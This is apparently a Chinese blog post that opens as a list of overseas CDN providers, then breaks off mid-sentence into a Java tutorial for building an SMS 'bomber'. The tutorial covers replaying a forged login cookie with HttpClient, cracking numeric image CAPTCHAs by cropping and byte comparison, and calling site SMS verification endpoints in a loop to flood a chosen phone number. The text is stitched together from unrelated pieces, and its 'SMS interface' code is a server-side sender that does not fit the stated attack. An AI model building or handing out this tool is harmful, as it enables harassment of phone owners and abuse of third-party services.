海外网站加速,最优质的7个CDN运营商推荐
CDN现今是网络加速中十分好用的一种办法,因此目前也涌现出许许多多的CDN厂商。本次我们不说国内的CDN厂商,因为大家相对了解。本次我们介绍如果您有海外站应该如何加速呢?
本次我们对市面上的电话短信轰炸机
一、模拟请求
实现网络短信轰炸机,其最主要的是通过注册网站模拟注册给指定手机号发送验证码;
具体实现可以参考
Java httpclient模拟url请求时带上登录Cookie信息
这里,需要准备两个Jar包:httpclient-4.1.1.jar、commons-httpclient-3.1.jar
import java.net.URI;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.lang.StringUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.protocol.ClientContext;
import org.apache.http.impl.client.BasicCookieStore;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.client.DefaultHttpRequestRetryHandler;
import org.apache.http.impl.cookie.BasicClientCookie;
import org.apache.http.impl.cookie.BasicClientCookie2;
import org.apache.http.protocol.BasicHttpContext;
import org.apache.http.protocol.HttpContext;
import org.apache.http.util.EntityUtils;
public class CookiesForgeTester {
public static void main(String[] args) {
doHttpRequest();
}
@SuppressWarnings(“deprecation”)
private static BasicClientCookie setWeiSiteCookies(String name,String value,String date){
BasicClientCookie2 cookie = new BasicClientCookie2(name,value);
cookie.setDomain(“.everycoding.com”);
cookie.setPath(“/”);
if (StringUtils.isNotBlank(date)) {
cookie.setExpiryDate(new Date(date));
}else{
cookie.setExpiryDate(null);
}
return cookie;
}
public static void doHttpRequest(){
DefaultHttpClient httpclient = new DefaultHttpClient();
httpclient.getParams().setParameter(“http.protocol.cookie-policy”,
CookiePolicy.BROWSER_COMPATIBILITY);
org.apache.http.params.HttpParams params = httpclient.getParams();
org.apache.http.params.HttpConnectionParams.setConnectionTimeout(params, 5000);
org.apache.http.params.HttpConnectionParams.setSoTimeout(params, 1000*60*10);
DefaultHttpRequestRetryHandler dhr = new DefaultHttpRequestRetryHandler(3,true);
HttpContext localContext = new BasicHttpContext();
//HttpRequest request2 = (HttpRequest) localContext.getAttribute(ExecutionContext.HTTP_REQUEST);
httpclient.setHttpRequestRetryHandler(dhr);
BasicCookieStore cookieStore = new BasicCookieStore();
/**
* 如果此处cookies的key和value是用户正在登陆认证cookies,则请求url时addCookie带上
* 此cookies,则相当于带上了登陆的密钥,请求url可以不受登陆权限的限制,进行敏感的信息的操作。
* 例如:
* 对于简单的电子商务网站,我们可以根据这个思路写一个抢购的逻辑,通过机器快速下单,
* 而无需在网页上手工点击。
*/
cookieStore.addCookie(setWeiSiteCookies(“loginUser”, “a8d15e8f143293f9dxxxx6c2fe23xxx971851fb910c6bbbd2c327527d86c8a16a725791c317bad88”, null)); //ok
localContext.setAttribute(ClientContext.COOKIE_STORE, cookieStore);
HttpGet request = new HttpGet();
List urlList = urlList();
try {
for (String url : urlList) {
request.setURI(URI.create(url));
HttpResponse response = null;
response = httpclient.execute(request, localContext);
System.out.println(“执行结果返回值:”+EntityUtils.toString(response.getEntity(), “utf-8”));
Thread.sleep(10l);
}
} catch (Exception e) {
System.out.println(“发生异常:”+e);
}
}
public static List urlList() {
List urlList = new ArrayList();
List list = new ArrayList();
list.add(1L);
list.add(2L);
for (Long codingId : list) {
String url = “http://www.everycoding.com/coding/”+codingId+”.html”;
urlList.add(url);
}
return urlList;
}
}
二、验证验证码
需要实现赚取注册网站页面数据,和请求接口,还有模拟请求后,大部分网站需要输入图文验证码,在抓取的页面中可得到;
具体实现
下面看看具体的代码实现。
1、图片边缘空白裁剪
这一步主要是把图片边缘的空白裁减掉,让剩余的图片刚好包含四个数字即可。图片的原始大小是60px*36px,将其导入ps中查看需要裁剪的部分,然后用程序进行裁剪。如图,就是把红色框之外的部分裁减掉。
这里写图片描述
这里为了程序尽可能简单,所以不使用第三方的Java包,知识用Java本身内置的ImageIO工具类进行图片的读写和简单裁剪,封装的函数如下图所示:
/**
* 裁剪图片
* @param srcPath 原始图片路径
* @param readImageFormat 读取图片的格式
* @param x 裁剪的x坐标
* @param y 裁剪的y坐标
* @param width 裁剪后图片宽度
* @param height 裁剪后图片高度
* @param writeImageFormat 保存裁剪后图片的格式
* @param isSave 是否保存裁剪后的图片到本地[不保存会返回裁剪后图片的字节数组]
* @param toPath 裁剪后的图片保存路径
*
* @return byte[] 如果图片不保存在本地,则返回裁剪后图片的字节数组
*/
public static byte[] cropImg(String srcPath, String readImageFormat, int x, int y,
int width, int height, String writeImageFormat, boolean isSave, String toPath) {
FileInputStream fis = null;
ImageInputStream iis = null;
try {
//读取图片文件
fis = new FileInputStream(srcPath);
Iterator it = ImageIO.getImageReadersByFormatName(readImageFormat);
ImageReader reader = (ImageReader) it.next();
//获取图片流
iis = ImageIO.createImageInputStream(fis);
reader.setInput(iis, true);
ImageReadParam param = reader.getDefaultReadParam();
//定义一个矩形
Rectangle rect = new Rectangle(x, y, width, height);
//提供一个 BufferedImage,将其用作解码像素数据的目标。
param.setSourceRegion(rect);
BufferedImage bi = reader.read(0, param);
if (isSave){
//保存新图片
ImageIO.write(bi, writeImageFormat, new File(toPath));
return null;
}else {
//返回字节数组
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(100);
ImageIO.write(bi, writeImageFormat, byteArrayOutputStream);
return byteArrayOutputStream.toByteArray();
}
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
为了提升性能,我们在部分情况下无需将裁剪后的图片图片保存到本地,而是直接转化为字节数组然后进行处理即可。
使用下面的代码调用上面的函数即可完成对图片边缘空白的裁剪。
File sourceImgDir = new File(“./sourceimg/”);
File[] sourceImgList = sourceImgDir.listFiles(new FileFilter() {
@Override
public boolean accept(File pathname) {
if (pathname.getName().endsWith(“gif”)){
return true;
}
return false;
}
});
if (sourceImgList == null) {
return;
}
for (File file : sourceImgList) {
try {
BufferedImage bufferedImage = ImageIO.read(file);
System.out.println(“width = ” + bufferedImage.getWidth() + “/theight = ” + bufferedImage.getHeight());
//进行图片边缘空白的裁剪
ImgUtil.cropImg(file.getPath(), “gif”, 6, 16, 44, 10, “png”, true, file.getPath() + “.png”);
} catch (IOException e) {
e.printStackTrace();
}
}
}
裁剪完成后的对比如下:
这里写图片描述 这里写图片描述
2、图片分割为单个数字
由于图片非常规整,每个数字的宽度也是一致的,所以我们可以继续使用上面的裁剪函数进行图片裁剪,即可将包含四个数字的图片裁剪为单个的数字的图片,代码如下:
int oneW = (bufferedImage.getWidth() – 15) / 4;
for (int i = 0; i < 4; i++) {
cropImg(file.getPath(), “png”, i * (oneW + 5), 0, oneW, 10, “png”, file.getPath() + i + “.png”);
}
经过上面的步骤,我们就获得0-9这10个数字的单个图片,如下图:
3、验证码对比识别
经过查看,由于图片非常规整,我们每次裁剪出来的数字图片都是一样的,也就是同一个数字的两张图片的每一个字节都是相同的,并且经过裁剪后的图片其实非常小,所以我们的识别其实就是对比,只需要将待识别的图片裁剪为4张小图,然后与我们提前准备好的单张数字图片对比即可。代码如下:
/**
* 比较两个图片字节数组是否相同
* @param img1Byte
* @param img2Byte
* @return
*/
public static boolean compareImg(byte[] img1Byte, byte[] img2Byte) {
if (img1Byte == null || img2Byte == null){
return false;
}
if (img1Byte.length == 0 || img2Byte.length == 0){
return false;
}
if (img1Byte.length != img2Byte.length){
return false;
}
for (int i = 0; i < img1Byte.length; i++) {
if (img1Byte[i] != img2Byte[i]){
return false;
}
}
return true;
}
/**
* 通过比较字节来获得是该图片是数字几
* @param imgData 原始的0-9这10张图片的字节信息
* @param srcBytes 待识别的图片字节
* @return
*/
public static int chooseImg(List<byte[]> imgData, byte[] srcBytes){
if (imgData == null || imgData.size() == 0
|| srcBytes == null || srcBytes.length == 0){
return -1;
}
for (int i = 0; i < imgData.size(); i++) {
if (compareImg(imgData.get(i), srcBytes)){
return i;
}
}
return -1;
}
上面的函数就是对比字节的函数。当然在对比之前,我们还需要将我们的10张数字图片加载到内存中,便于后续对比,代码如下:
/**
* 图片文件转字节数组
* @param imgFile
* @return
*/
public static byte[] imgToBytes(File imgFile){
if (imgFile == null){
return null;
}
try {
FileInputStream inputStream = new FileInputStream(imgFile);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(200);
byte[] bytes = new byte[200];
int n;
while ((n = inputStream.read(bytes)) != -1){
outputStream.write(bytes, 0, n);
}
inputStream.close();
outputStream.close();
return outputStream.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
/**
* 载入图片数据[装载需要进行比较的图片数据]
* @param imgPath
* @return
*/
public static List<byte[]> loadImgData(String imgPath){
if (imgPath == null || “”.equals(imgPath)){
return null;
}
File imgDir = new File(imgPath);
List<byte[]> imgData = new ArrayList<>(10);
//获得0-9的图片数据
File[] imgs = imgDir.listFiles(new FileFilter() {
@Override
public boolean accept(File pathname) {
if (pathname.getName().endsWith(“.png”)){
return true;
}
return false;
}
});
if (imgs == null){
return null;
}
for (File file : imgs){
imgData.add(imgToBytes(file));
}
return imgData;
}
这里的载入我们是按顺序载入的,也就是下标为0的位置存放的就是数字0这个图片的字节数组,以此来推。
下面就是我们载入图片,并进行对比识别的代码:
public static void main(String[] args) {
long start = System.currentTimeMillis();
//载入0-9这10个数字的单张图片
List<byte[]> imgData = ImgUtil.loadImgData(“./one/”);
File[] imgsPath = new File(“./sourceimg/”).listFiles(new FileFilter() {
@Override
public boolean accept(File pathname) {
if (pathname.getName().endsWith(“.gif”)){
return true;
}
return false;
}
});
String distImgPath = “./distimg/dist.png”;
String srcImgPath = “”;
if (imgsPath == null){
return;
}
for (File f : imgsPath) {
srcImgPath = f.getPath();
try {
//裁剪图片并存储在本地
//先做图片一次裁剪,裁剪掉边缘空白
ImgUtil.cropImg(srcImgPath, “gif”, 6, 16, 44, 10, “png”, true, distImgPath);
BufferedImage bufferedImage = ImageIO.read(new File(distImgPath));
int oneW = (bufferedImage.getWidth() – 15) / 4;
StringBuilder stringBuilder = new StringBuilder();
//循环裁剪4个数字
for (int i = 0; i < 4; i++) {
//裁剪出每个数字
byte[] bytes = ImgUtil.cropImg(“./distimg/dist.png”, “png”, i * (oneW + 5), 0, oneW, 10, “png”, false, null);
//对比裁剪出的数字
stringBuilder.append(ImgUtil.chooseImg(imgData, bytes));
}
//打印出识别结结果
System.out.println(stringBuilder.toString());
} catch (IOException e) {
e.printStackTrace();
}
}
System.out.println(“用时” + System.currentTimeMillis() – start + “毫秒”);
}
经过测试,7张图片的识别时间为2200毫秒左右,识别准确率为100%。
三、获取短信接口
1、拿到页面数据后,在java 后台处理数据,取出电话号码输入框,获取短信验证码按钮,输入图文验证码文本框,确定按钮;获取短信验证码请求接口;
用java实现原理请参考下面代码,本次以腾讯短信接口为例。
private final static int APP_ID = 腾讯云给你分发的appid;
private final static String APP_KEY = “腾讯云给你分发的appkey”;
@ResponseBody
@RequestMapping(“/sendCode”)
public ResultType findMyPhone(HttpServletRequest request) {
String phoneNum = request.getParameter(“phoneNum”);
int x = new Random().nextInt(1000000);
String sendCode = String.valueOf(x);
SmsSingleSender ssender = new SmsSingleSender(APP_ID, APP_KEY);
SmsSingleSenderResult result = null;
Map<String, Object> resultmap = new HashMap<>();
try {
result = ssender.send(0, “86”, phoneNum, “【xx平台】你的验证码是” + sendCode
+ “,请于2分钟内填写。如非本人操作,请忽略本短信。”, “”, “”);
if (result.result == 0) {
sendCodeService.sendCode(phoneNum, sendCode);
resultmap.put(“sendCode”, sendCode + “”);
resultmap.put(“code”, “200”);
resultmap.put(“type”, “OK”);
resultmap.put(“msg”, “1”);
rt.setResultType(true);
rt.setData(resultmap);
rt.setResultcode(ResultTypeUtil.SUCCEED);
} else {
rt.setResultType(false);
rt.setResultcode(ResultTypeUtil.FAILURE);
resultmap.put(“ERR”, “验证码发送失败”);
resultmap.put(“code”, “4”);
resultmap.put(“msg”, “1”);
rt.setData(resultmap);
}
} catch (Exception e) {
map.put(“msg”, “异常”);
resultmap.put(“code”, “4”);
rt.setResultType(false);
rt.setResultcode(ResultTypeUtil.LOSSER);
e.printStackTrace();
return rt;
}
return rt;
}
2、将上面几点拿到后,用HttpRequst 模拟请求,就能获取到短信;
3、在自己的功能设计中,将上面的方法for循环,就能实现我们所谓的网站短信轰炸机功能;